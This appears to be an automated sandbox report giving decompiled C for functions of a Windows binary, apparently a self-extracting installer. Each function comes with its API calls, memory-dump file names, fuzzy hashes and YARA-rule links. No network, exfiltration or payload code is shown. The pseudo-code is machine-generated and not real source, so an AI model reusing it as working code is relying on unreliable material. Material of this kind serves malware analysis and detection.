				_push( ~(0 | _t77 > 0x00000000) | _t34);
				L0041C16C();
				_t73 = 0;
				_v12 = _t34;
				_v8 = 0;
				if(_t49 <= 0) {
					L8:
					_push(_v12);
					L0041C160();
					goto L19;
				} else {
					goto L4;
				}
				do {
					L4:
					_t35 = E00407272(_t73);
					if(_t35 != 0) {
						_t35 = _v12;
						_v8 = _v8 + 1;
						 *((intOrPtr*)(_t35 + _v8 * 4)) = _t73;
					}
					_t73 = _t73 + 1;
				} while (_t73 < _t49);
				if(_v8 != 0) {
					_push(0x14);
					L0041C16C();
					__eflags = _t35;
					if(_t35 == 0) {
						_t74 = 0;
						__eflags = 0;
					} else {
						_t74 = E00401238(_t35, _t35);
					}
					__eflags = _t74;
					if(_t74 != 0) {
						 *((intOrPtr*)( *_t74 + 4))(_t74);
					}
					_t36 = GetTickCount();
					 *(_t69 + 0x88) = _t36;
					_t37 =  *((intOrPtr*)(_t69 + 8));
					_t38 =  *((intOrPtr*)( *_t37 + 0x1c))(_t37, _v12, _v8, 0, _t74);
					__eflags = _t38;
					if(_t38 != 0) {
						L17:
						_push(_v12);
						L0041C160();
						__eflags = _t74;
						if(_t74 != 0) {
							 *((intOrPtr*)( *_t74 + 8))(_t74);
						}
						goto L19;
					} else {
						_t41 =  *((intOrPtr*)(_t74 + 0xc));
						__eflags =  *((intOrPtr*)(_t41 + 0x10));
						if( *((intOrPtr*)(_t41 + 0x10)) == 0) {
							goto L17;
						}
						L0041C160();
						 *((intOrPtr*)( *_t74 + 8))(_t74, _v12);
						_t31 = 1;
						goto L20;
					}
				}
				goto L8;
			}

0x0040136b
0x0040136c
0x00401377
0x00401379
0x00401463
0x00401463
0x00401465
0x00401469
0x00401469
0x0040137f
0x00401386
0x00000000
0x00000000
0x00401391
0x00401393
0x00000000
0x00000000
0x0040139b
0x004013a4
0x004013a5
0x004013a7
0x004013b0
0x004013b1
0x004013b6
0x004013b9
0x004013bc
0x004013c1
0x004013e6
0x004013e6
0x004013e9
0x00000000
0x00000000
0x00000000
0x00000000
0x004013c3
0x004013c3
0x004013c5
0x004013cc
0x004013d1
0x004013d4
0x004013d7
0x004013d7
0x004013da
0x004013db
0x004013e4
0x004013f1
0x004013f3
0x004013f9
0x004013fb
0x00401408
0x00401408
0x004013fd
0x00401404
0x00401404
0x0040140a
0x0040140c
0x00401411
0x00401411
0x00401414
0x0040141f
0x00401425
0x0040142e
0x00401431
0x00401433
0x00401450
0x00401450
0x00401453
0x00401459
0x0040145b
0x00401460
0x00401460
0x00000000
0x00401435
0x00401435
0x00401438
0x0040143b
0x00000000
0x00000000
0x00401440
0x00401449
0x0040144c
0x00000000
0x0040144c
0x00401433
0x00000000

APIs

??2@YAPAXI@Z.MSVCRT ref: 004013B1
??3@YAXPAX@Z.MSVCRT ref: 004013E9
??2@YAPAXI@Z.MSVCRT ref: 004013F3
GetTickCount.KERNEL32 ref: 00401414
??3@YAXPAX@Z.MSVCRT ref: 00401440
??3@YAXPAX@Z.MSVCRT ref: 00401453

Strings

XhV, xrefs: 0040136B, 0040136C, 00401374

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$??2@$CountTick
String ID: XhV
API String ID: 590505967-2999104372
Opcode ID: d15fb98c29bf175e0bdf4c156afd6c614612d7e43b824f00e03fa2709b660fba
Instruction ID: 003ae7c08c8171e42d60e6727e1d5df914aaf81fbeeeab4e494b2dbabceb1a0e
Opcode Fuzzy Hash: d15fb98c29bf175e0bdf4c156afd6c614612d7e43b824f00e03fa2709b660fba
Instruction Fuzzy Hash: 5831D331A00210AFCB24AFA5C8859AEB7E4EF05754B10407FF905B72B2CB788D828B58

Uniqueness

Uniqueness Score: -1.00%

Function 004079E9, Relevance: 12.1, APIs: 8, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004079E9(intOrPtr __ecx, WCHAR* _a4, void* _a8, void* _a12, signed int _a16) {
				struct HDC__* _v8;
				signed int _v12;
				intOrPtr _v16;
				struct HDC__* _t31;
				int _t33;
				int _t35;
				void* _t45;
				long _t47;
				long _t53;
				struct tagRECT* _t57;

				_v12 = _v12 & 0x00000000;
				_v16 = __ecx;
				_t31 = GetDC( *(__ecx + 4));
				_v8 = _t31;
				if(_t31 != 0) {
					_t33 = GetSystemMetrics(0xb);
					_t45 = 0xffffffc4;
					_t53 = _t45 - _t33 + GetSystemMetrics(0x3d);
					_t35 = GetSystemMetrics(0x3e);
					_t57 = _a8;
					_t10 = _t35 - 0x78; // -120
					_t47 = _t10;
					_t57->bottom = 0;
					_t57->top = 0;
					_t57->left = 0;
					_t57->right = _t53;
					_a8 = SelectObject(_v8, _a12);
					_v12 = 0 | DrawTextW(_v8, _a4, 0xffffffff, _t57, _a16 | 0x00000400) > 0x00000000;
					if(_t53 < _t57->right) {
						_t57->right = _t53;
					}
					if(_t47 < _t57->bottom) {
						_t57->bottom = _t47;
					}
					SelectObject(_v8, _a8);
					ReleaseDC( *(_v16 + 4), _v8);
				}
				return _v12;
			}

APIs

GetDC.USER32(?), ref: 004079F9
GetSystemMetrics.USER32 ref: 00407A15
GetSystemMetrics.USER32 ref: 00407A1E
GetSystemMetrics.USER32 ref: 00407A25
SelectObject.GDI32(?,?), ref: 00407A40
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 00407A5B
SelectObject.GDI32(?,?), ref: 00407A81
ReleaseDC.USER32 ref: 00407A90

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: MetricsSystem$ObjectSelect$DrawReleaseText
String ID:
API String ID: 2466489532-0
Opcode ID: 32584a4472645db3aff27f6520096e7dc3bbedd979ffd5018345eaf338595b88
Instruction ID: d7a645f58c53ce30d97dd646464eddd9bcb9b2579cd2f157b80914e8c8c63eec
Opcode Fuzzy Hash: 32584a4472645db3aff27f6520096e7dc3bbedd979ffd5018345eaf338595b88
Instruction Fuzzy Hash: 642138B1D00209EFCB11DFA5DD84A8EBFF4EF08364F10C46AE429A62A0C735AA51DF50

Uniqueness

Uniqueness Score: -1.00%

Function 0040B810, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 121
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0040B810(intOrPtr* __ecx) {
				void* _t48;
				void* _t58;
				signed int _t59;
				void* _t60;
				void* _t61;
				void* _t64;
				void* _t73;
				intOrPtr* _t90;
				intOrPtr* _t92;
				signed int _t95;
				void* _t97;
				void* _t98;

				_t92 = __ecx;
				if( *__ecx != 0x3f) {
					_t48 =  *((intOrPtr*)(__ecx + 4)) +  *((intOrPtr*)(__ecx + 0x1c)) + 8;
					_t64 = 0;
					 *(_t97 + 0x10) = _t48;
					if(_t48 != 0) {
						_push(_t48);
						L0041C16C();
						_t97 = _t97 + 4;
						_t64 = _t48;
					}
					memcpy(_t64, _t92 + 8,  *(_t92 + 4));
					memcpy(_t64 +  *(_t92 + 4),  *(_t92 + 0x18),  *(_t92 + 0x1c));
					_t90 = _t64 +  *(_t92 + 4) +  *(_t92 + 0x1c);
					 *_t90 = 0;
					 *((intOrPtr*)(_t90 + 4)) = 0;
					_t98 = _t97 + 0x18;
					 *((intOrPtr*)(_t98 + 0x1c)) = 0x6a09e667;
					 *((intOrPtr*)(_t98 + 0x20)) = 0xbb67ae85;
					 *((intOrPtr*)(_t98 + 0x24)) = 0x3c6ef372;
					 *((intOrPtr*)(_t98 + 0x28)) = 0xa54ff53a;
					 *((intOrPtr*)(_t98 + 0x2c)) = 0x510e527f;
					 *((intOrPtr*)(_t98 + 0x30)) = 0x9b05688c;
					 *((intOrPtr*)(_t98 + 0x34)) = 0x1f83d9ab;
					 *((intOrPtr*)(_t98 + 0x38)) = 0x5be0cd19;
					 *((intOrPtr*)(_t98 + 0x3c)) = 0;
					 *((intOrPtr*)(_t98 + 0x40)) = 0;
					_t95 = E0041C2F0(1,  *_t92, 0);
					 *(_t98 + 0x18) = 0;
					do {
						E0040B350(_t98 + 0x20, _t64,  *((intOrPtr*)(_t98 + 0x10)));
						_t58 = 0;
						while(1) {
							_t41 = _t58 + _t90;
							 *_t41 =  *((char*)(_t58 + _t90)) + 1;
							if( *_t41 != 0) {
								goto L14;
							}
							_t58 = _t58 + 1;
							if(_t58 < 8) {
								continue;
							}
							goto L14;
						}
						L14:
						_t59 =  *(_t98 + 0x18);
						_t95 = _t95 + 0xffffffff;
						asm("adc eax, 0xffffffff");
						 *(_t98 + 0x18) = _t59;
					} while ((_t95 | _t59) != 0);
					_t46 = _t98 + 0x1c; // 0x6a09e667
					_t60 = E0040B600(_t46, _t92 + 0x20);
					_push(_t64);
					L0041C160();
					return _t60;
				}
				_t61 = 0;
				if( *((intOrPtr*)(__ecx + 4)) > 0) {
					do {
						 *((char*)(__ecx + _t61 + 0x20)) =  *((intOrPtr*)(__ecx + _t61 + 8));
						_t61 = _t61 + 1;
					} while (_t61 <  *((intOrPtr*)(__ecx + 4)));
				}
				_t73 = 0;
				if( *(_t92 + 0x1c) <= 0) {
					L6:
					if(_t61 >= 0x20) {
						goto L16;
					} else {
						_t14 = _t92 + 0x20; // 0x21
						return memset(_t61 + _t14, 0, 0x20 - _t61);
					}
				} else {
					while(_t61 < 0x20) {
						 *((char*)(_t61 + _t92 + 0x20)) =  *((intOrPtr*)(_t73 +  *(_t92 + 0x18)));
						_t73 = _t73 + 1;
						_t61 = _t61 + 1;
						if(_t73 <  *(_t92 + 0x1c)) {
							continue;
						} else {
							goto L6;
						}
						goto L17;
					}
					L16:
					return _t61;
				}
				L17:
			}

APIs

memset.MSVCRT ref: 0040B869
??2@YAPAXI@Z.MSVCRT ref: 0040B890
memcpy.MSVCRT ref: 0040B8A3
memcpy.MSVCRT ref: 0040B8B6
??3@YAXPAX@Z.MSVCRT ref: 0040B96E

Strings

gj, xrefs: 0040B964

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$??2@??3@memset
String ID: gj
API String ID: 1510051167-4203073231
Opcode ID: a71d862290bd4659f56f322b8ebfcce5da4a9344bafed646d4939b58d2e31cdb
Instruction ID: 5ab1223f956dad006c461569b39dc5db1a7a3ac289c35279b9943f5a0f586916
Opcode Fuzzy Hash: a71d862290bd4659f56f322b8ebfcce5da4a9344bafed646d4939b58d2e31cdb
Instruction Fuzzy Hash: DB419BB25043009FC324EF25C88095BB7E5FF99718F148E2EE4DA97652E734E9498B89

Uniqueness

Uniqueness Score: -1.00%

Function 00407489, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 105
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00407489() {
				signed int _v8;
				intOrPtr _v12;
				void* __ecx;
				intOrPtr* _t23;
				signed int _t25;
				signed int _t26;
				intOrPtr* _t27;
				intOrPtr* _t30;
				intOrPtr* _t31;
				signed int _t41;
				intOrPtr _t42;
				signed int _t59;
				signed int _t60;
				signed int _t63;
				intOrPtr _t64;
				intOrPtr _t68;
				intOrPtr* _t69;
				void* _t71;
				void* _t72;

				_push(_t42);
				_push(_t42);
				_v12 = _t42;
				if(( *0x422774 & 0x00000080) == 0) {
					L9:
					_t23 = 0;
					L10:
					return _t23;
				}
				_t41 = 0;
				_t71 =  *0x422704 - _t41; // 0x0
				if(_t71 > 0) {
					goto L9;
				}
				_t72 = E00401303(0x4227b8, _t71);
				if(_t72 == 0) {
					goto L9;
				}
				_t25 = E0040115F(0x4227b8);
				_t59 = 4;
				_t63 = _t25;
				_t60 = _t25 * _t59 >> 0x20;
				_t26 = _t25 * _t59;
				_push( ~(0 | _t72 > 0x00000000) | _t26);
				L0041C16C();
				_t68 = 0;
				_v8 = _t26;
				if(_t63 == 0) {
					L8:
					_push(_v8);
					L0041C160();
					goto L9;
				} else {
					goto L4;
				}
				do {
					L4:
					_t27 = E0040732B(_t68);
					if(_t27 != 0) {
						_t27 = _v8;
						 *((intOrPtr*)(_t27 + _t41 * 4)) = _t68;
						_t41 = _t41 + 1;
					}
					_t68 = _t68 + 1;
				} while (_t68 < _t63);
				if(_t41 != 0) {
					_push(0x48);
					L0041C16C();
					__eflags = _t27;
					if(_t27 == 0) {
						_t69 = 0;
						__eflags = 0;
					} else {
						_t69 = E004025B4(_t27);
					}
					__eflags = _t69;
					if(_t69 != 0) {
						 *((intOrPtr*)( *_t69 + 4))(_t69);
					}
					_t64 = _v12;
					E00407370(_t64, _t60);
					_t17 = _t64 + 4; // 0x700062
					E004023C3(_t69,  *_t17);
					_t30 =  *0x4227c0; // 0x566888
					_t31 =  *((intOrPtr*)( *_t30 + 0x1c))(_t30, _v8, _t41, 0, _t69);
					_push(_v8);
					__eflags = _t31;
					if(_t31 == 0) {
						L0041C160();
						__eflags = _t69;
						if(_t69 != 0) {
							 *((intOrPtr*)( *_t69 + 8))(_t69);
						}
						_t23 = 1;
						goto L10;
					} else {
						L0041C160();
						__eflags = _t69;
						if(_t69 != 0) {
							 *((intOrPtr*)( *_t69 + 8))(_t69);
						}
						goto L9;
					}
				}
				goto L8;
			}

APIs

??2@YAPAXI@Z.MSVCRT ref: 004074CF
??3@YAXPAX@Z.MSVCRT ref: 004074FC
??2@YAPAXI@Z.MSVCRT ref: 0040750B
??3@YAXPAX@Z.MSVCRT ref: 00407559
??3@YAXPAX@Z.MSVCRT ref: 0040756B

Strings

XhV, xrefs: 004074A7

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$??2@
String ID: XhV
API String ID: 4113381792-2999104372
Opcode ID: 7b21205f6b6f9067870c64fb6e9b261bc8abc4532f3ec8503cb1f5211d0e8cba
Instruction ID: 58b793ad712c308d4ddd91de517e6b93f9a326b0b37e95d3d2077ce1cdaad68c
Opcode Fuzzy Hash: 7b21205f6b6f9067870c64fb6e9b261bc8abc4532f3ec8503cb1f5211d0e8cba
Instruction Fuzzy Hash: 51312871E095217BCB256F648C459AFB7649F41B14B10007FF9427B7D2CB78AC02869E

Uniqueness

Uniqueness Score: -1.00%

Function 00401AA4, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E00401AA4() {
				struct HWND__* _v8;
				short _v264;
				short _v2312;
				WCHAR* _t15;
				struct HWND__* _t32;
				intOrPtr* _t33;
				intOrPtr* _t34;
				WCHAR* _t35;
				WCHAR* _t36;
				WCHAR* _t37;
				void* _t39;
				intOrPtr* _t43;
				void* _t44;
				void* _t45;
				void* _t46;
				void* _t48;

				_t15 =  *0x422714; // 0x0
				_t45 = _t44 - 0x904;
				_t32 = 0;
				_t43 = _t34;
				if(_t15 == 0) {
					_t35 = 0x27;
					wsprintfW( &_v2312, E00403CE0(_t35),  *_t43,  *((intOrPtr*)(_t43 + 0xc)));
					_t46 = _t45 + 0x10;
					_v8 = 0;
					if( *((intOrPtr*)(_t43 + 0x10)) <= 0) {
						L8:
						if(";!@Install@!UTF-8!" == 0x3b) {
							_t36 =  &_v2312;
							L11:
							E0040959E(_t36, _t39);
							L12:
							E00405A7A();
							ExitProcess(0xa);
						}
						_push(_t32);
						_t37 = 3;
						MessageBoxW(_t32,  &_v2312, E00403CE0(_t37), ??);
						goto L12;
					}
					_t33 = _t43 + 0x14;
					do {
						wsprintfW( &_v264, L"\t0x%p\n",  *_t33);
						_t46 = _t46 + 0xc;
						lstrcatW( &_v2312,  &_v264);
						_v8 = _v8 + 1;
						_t33 = _t33 + 4;
					} while (_v8 <  *((intOrPtr*)(_t43 + 0x10)));
					_t32 = 0;
					goto L8;
				}
				_t48 =  *0x422716 - _t32; // 0x0
				if(_t48 != 0) {
					 *0x422714 = _t15;
				}
				_t36 = E00403CE0(_t15);
				goto L11;
			}

APIs

wsprintfW.USER32 ref: 00401AF6
wsprintfW.USER32 ref: 00401B14
lstrcatW.KERNEL32(?,?), ref: 00401B27
MessageBoxW.USER32(00000000,?,00000000,00000000), ref: 00401B58
ExitProcess.KERNEL32 ref: 00401B72

Strings

0x%p, xrefs: 00401B0E

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: wsprintf$ExitMessageProcesslstrcat
String ID: 0x%p
API String ID: 1920160435-1745605757
Opcode ID: d86e4351e7d9697730524a81419c8ec4332a5d487605cddaa6eef0c5bbd365f0
Instruction ID: bdd98ded1a4888b9718e7119b40d0133e4242b4b1d5a6e7b56f428a96039426d
Opcode Fuzzy Hash: d86e4351e7d9697730524a81419c8ec4332a5d487605cddaa6eef0c5bbd365f0
Instruction Fuzzy Hash: FA2157B1A04218BFDB20EFB4DD85A9A77BCEF44344F50047AA501F3191DB78AA448B69

Uniqueness

Uniqueness Score: -1.00%

Function 00408A8A, Relevance: 10.6, APIs: 7, Instructions: 63
timethreadinjectionCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00408A8A(void* __ecx) {
				int _t10;
				signed int _t18;
				void* _t21;
				void* _t25;
				void* _t27;
				intOrPtr _t30;
				signed int _t31;
				void* _t35;

				_t27 = __ecx;
				_t30 =  *0x4228e0; // 0x0
				if(_t30 != 0) {
					_t10 = EndDialog( *(__ecx + 4), 0);
				}
				_t31 =  *0x4228d4; // 0x0
				if(_t31 != 0) {
					KillTimer( *(_t27 + 4), 1);
					_t32 =  *0x42245c & 0x00000100;
					if(( *0x42245c & 0x00000100) == 0 || E00408A46(_t27, _t25, _t32) != 0) {
						_push(0);
						_push( *(_t27 + 4));
						L13:
						return EndDialog();
					}
					_t18 =  *0x4228d4; // 0x0
					_t10 = SetTimer( *(_t27 + 4), 1, _t18 * 0xa, 0);
				}
				_t35 =  *0x422770 - 1; // 0x2
				if(_t35 != 0) {
					_t21 =  *0x422720; // 0x0
					if(_t21 != 0) {
						SuspendThread(_t21);
						_t37 =  *0x42245c & 0x00000100;
						if(( *0x42245c & 0x00000100) == 0 || E00408A46(_t27, _t25, _t37) != 0) {
							 *0x4228cc = 1;
							TerminateThread(_t21, 0x16);
							_push(0);
							_push( *(_t27 + 4));
							goto L13;
						} else {
							return ResumeThread(_t21);
						}
					}
				}
				return _t10;
			}

APIs

EndDialog.USER32(?,00000000), ref: 00408AA4
KillTimer.USER32(?,00000001), ref: 00408AB5
SetTimer.USER32(?,00000001,00000000,00000000), ref: 00408AE0
SuspendThread.KERNEL32(00000000), ref: 00408AF9
ResumeThread.KERNEL32(00000000), ref: 00408B17
EndDialog.USER32(?,00000000), ref: 00408B39

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: DialogThreadTimer$KillResumeSuspend
String ID:
API String ID: 4151135813-0
Opcode ID: 885b3203f5fafc8ea029e998e3dfa88956fb95a6329574f64dc11b18cd69f5ab
Instruction ID: e0febfc1c518c38718134784bfd0cfd8211ff2635dc020f4aeb641ff724bccfa
Opcode Fuzzy Hash: 885b3203f5fafc8ea029e998e3dfa88956fb95a6329574f64dc11b18cd69f5ab
Instruction Fuzzy Hash: 98116DB0700204AFD7256F21EF85A6737ADEB60785B40403EF696A15A0CFB8AC02DF1C

Uniqueness

Uniqueness Score: -1.00%

Function 00418480, Relevance: 10.5, APIs: 7, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00418480(intOrPtr* __ecx) {
				intOrPtr _t20;
				intOrPtr* _t22;
				intOrPtr* _t28;

				 *__ecx = 0;
				_push( *((intOrPtr*)(__ecx + 8)));
				L0041C160();
				 *((intOrPtr*)(__ecx + 8)) = 0;
				 *((intOrPtr*)(__ecx + 4)) = 0;
				 *((intOrPtr*)(__ecx + 0x10)) = 0;
				 *((intOrPtr*)(__ecx + 0x1c)) = 0;
				_push( *((intOrPtr*)(__ecx + 0x24)));
				L0041C160();
				 *((intOrPtr*)(__ecx + 0x24)) = 0;
				_push( *((intOrPtr*)(__ecx + 0x28)));
				L0041C160();
				 *((intOrPtr*)(__ecx + 0x28)) = 0;
				_push( *((intOrPtr*)(__ecx + 0x2c)));
				L0041C160();
				 *((intOrPtr*)(__ecx + 0x2c)) = 0;
				_push( *((intOrPtr*)(__ecx + 0x30)));
				L0041C160();
				 *((intOrPtr*)(__ecx + 0x30)) = 0;
				_push( *((intOrPtr*)(__ecx + 0x34)));
				L0041C160();
				 *((intOrPtr*)(__ecx + 0x34)) = 0;
				_push( *((intOrPtr*)(__ecx + 0x38)));
				L0041C160();
				 *((intOrPtr*)(__ecx + 0x38)) = 0;
				_t22 = __ecx + 0x3c;
				_pop(_t27);
				_t28 = _t22;
				_t20 =  *_t28;
				if(_t20 != 0) {
					_push(_t20);
					L0041C160();
					 *_t28 = 0;
				}
				 *((intOrPtr*)(_t28 + 4)) = 0;
				return _t20;
			}

APIs

??3@YAXPAX@Z.MSVCRT ref: 0041848B
??3@YAXPAX@Z.MSVCRT ref: 0041849F
??3@YAXPAX@Z.MSVCRT ref: 004184AA
??3@YAXPAX@Z.MSVCRT ref: 004184B5
??3@YAXPAX@Z.MSVCRT ref: 004184C0
??3@YAXPAX@Z.MSVCRT ref: 004184CB
??3@YAXPAX@Z.MSVCRT ref: 004184D6

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 01efdebc63e54f2fb10f3b22901f6864d42087f6f1f3c1b170dfb205c1aa1f98
Instruction ID: f1de91cbc462ee97d673e7db93c01427bec84cd42ac756398f0c521e5fe4e4e7
Opcode Fuzzy Hash: 01efdebc63e54f2fb10f3b22901f6864d42087f6f1f3c1b170dfb205c1aa1f98
Instruction Fuzzy Hash: DE01C471480B54ABC2316F17CD85847FEF1FF94B04340591FA08602932C7B5B891DF48

Uniqueness

Uniqueness Score: -1.00%

Function 00405CA1, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00405CA1(void* __edx, void* __edi, void* __eflags) {
				char _v16;
				char _v100;
				short _v356;
				void* _t28;
				WCHAR* _t49;
				signed int _t51;
				void* _t55;
				void* _t57;

				 *0x42245c = 8;
				E004075CF( &_v100, __edx, __eflags);
				_v100 = 0x41eaa0;
				E00414803( &_v16, E00403CE0(1));
				_t51 = 0;
				_t55 =  *0x424c60 - _t51; // 0x9
				if(_t55 > 0) {
					_t49 = L", ";
					do {
						if(_t51 != 0) {
							E00414922( &_v16, _t49);
						}
						E00414A08( &_v16,  *((intOrPtr*)( *((intOrPtr*)(0x424b20 + _t51 * 4)) + 0x10)));
						_t51 = _t51 + 1;
						_t57 = _t51 -  *0x424c60; // 0x9
					} while (_t57 < 0);
					if(_t51 != 0) {
						E00414922( &_v16, _t49);
					}
				}
				E00414922( &_v16, L"Volumes");
				wsprintfW( &_v356, L" \n\t%X - %03X - %03X - %03X - %03X", 1, 0x5ff, 0x1f, 0x3fff, 7);
				E00414922( &_v16,  &_v356);
				E00414922( &_v16, 0x41ebe4);
				_t28 = E00407941( &_v100, 0x11,  *0x422738, _v16, 0);
				_push(_v16);
				L0041C160();
				return E00407630(_t28,  &_v100);
			}

APIs

Part of subcall function 004075CF: KiUserCallbackDispatcher.NTDLL ref: 00407611
Part of subcall function 004075CF: GetSystemMetrics.USER32 ref: 0040761F

Part of subcall function 00414803: memcpy.MSVCRT ref: 00414829

wsprintfW.USER32 ref: 00405D44
??3@YAXPAX@Z.MSVCRT ref: 00405D81

Part of subcall function 00414922: memcpy.MSVCRT ref: 0041494F

Strings

<A, xrefs: 00405CE0
%X - %03X - %03X - %03X - %03X, xrefs: 00405D3E
Volumes, xrefs: 00405D1B

Memory Dump Source

Source File: 00000010.00000002.708189503.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.708184369.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708207849.000000000041D000.00000002.00020000.sdmp Download File
Associated: 00000010.00000002.708216748.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000010.00000002.708225050.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$??3@CallbackDispatcherMetricsSystemUserwsprintf
String ID: %X - %03X - %03X - %03X - %03X$<A$Volumes
API String ID: 2991351368-3399665096
Opcode ID: 6355d9d1674f6326a2081362d6ecd1f5afe3a0ffddf576bb82739cecf16ff926
Instruction ID: ad8d23a7da3522afc9b8f86878820b42e07b12c4948eacb7cadc135188fea655
Opcode Fuzzy Hash: 6355d9d1674f6326a2081362d6ecd1f5afe3a0ffddf576bb82739cecf16ff926
Instruction Fuzzy Hash: 0A21A171D442186ACB14FB96EC46EDEB334FF80704F50417AB502760D1DB782A45CB8C

Uniqueness

Uniqueness Score: -1.00%

Function 00409190, Relevance: 7.6, APIs: 5, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409190(void* __ecx, void* __edx, void* __eflags) {
				intOrPtr _v8;
				intOrPtr _v16;
				char _v20;
				struct _SHFILEINFOW _v712;
				short _v1236;
				void* _t32;
				void* _t40;
				void* _t44;

				_t40 = __edx;
				_t44 = __ecx;
				E00407925(__ecx, 0x4b6,  &_v20);
				 *((intOrPtr*)(_t44 + 0x58)) = _v8 - _v16 + 2;
				E004079B7(_t44, 0x4b6, 1);
				E004079B7(_t44, 0x4b6, 1);
				_v712.hIcon = _v712.hIcon & 0x00000000;
				memset( &(_v712.iIcon), 0, 0x2b0);
				GetSystemDirectoryW( &_v1236, 0x104);
				SHGetFileInfoW( &_v1236, 0,  &_v712, 0x2b4, 0x103);
				 *(_t44 + 0x50) = _v712.hIcon;
				 *((intOrPtr*)(_t44 + 0x54)) = SetWindowLongW(GetDlgItem( *(_t44 + 4), 0x4b7), 0xfffffffc, E0040808C);
				_t32 = E00408E57(_t40);
				E004085BD();
				return _t32;
			}

0x00409190
0x004091a5
0x004091a7
0x004091ba
0x004091bd
0x004091c8
0x004091cd
0x004091e2
0x004091f6
0x00409216
0x00409226
0x0040923f
0x00409242
0x0040924b
0x00409255

APIs

Part of subcall function 00407925: GetDlgItem.USER32 ref: 0040792D

Part of subcall function 004079B7: GetDlgItem.USER32 ref: 004079C4
Part of subcall function 004079B7: ShowWindow.USER32(00000000,?), ref: 004079DB

memset.MSVCRT ref: 004091E2
GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004091F6
SHGetFileInfoW.SHELL32(?,00000000,00000000,000002B4,00000103), ref: 00409216
GetDlgItem.USER32 ref: 00409229
SetWindowLongW.USER32 ref: 00409237

Part of subcall function 00408E57: GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00409247), ref: 00408E81
Part of subcall function 00408E57: LoadIconW.USER32(00000000), ref: 00408E84
Part of subcall function 00408E57: GetSystemMetrics.USER32 ref: 00408E98
Part of subcall function 00408E57: GetSystemMetrics.USER32 ref: 00408E9D
Part of subcall function 00408E57: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00409247), ref: 00408EA6
Part of subcall function 00408E57: LoadImageW.USER32 ref: 00408EA9
Part of subcall function 00408E57: SendMessageW.USER32(?,00000080,00000001,?), ref: 00408EC9
Part of subcall function 00408E57: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408ED2
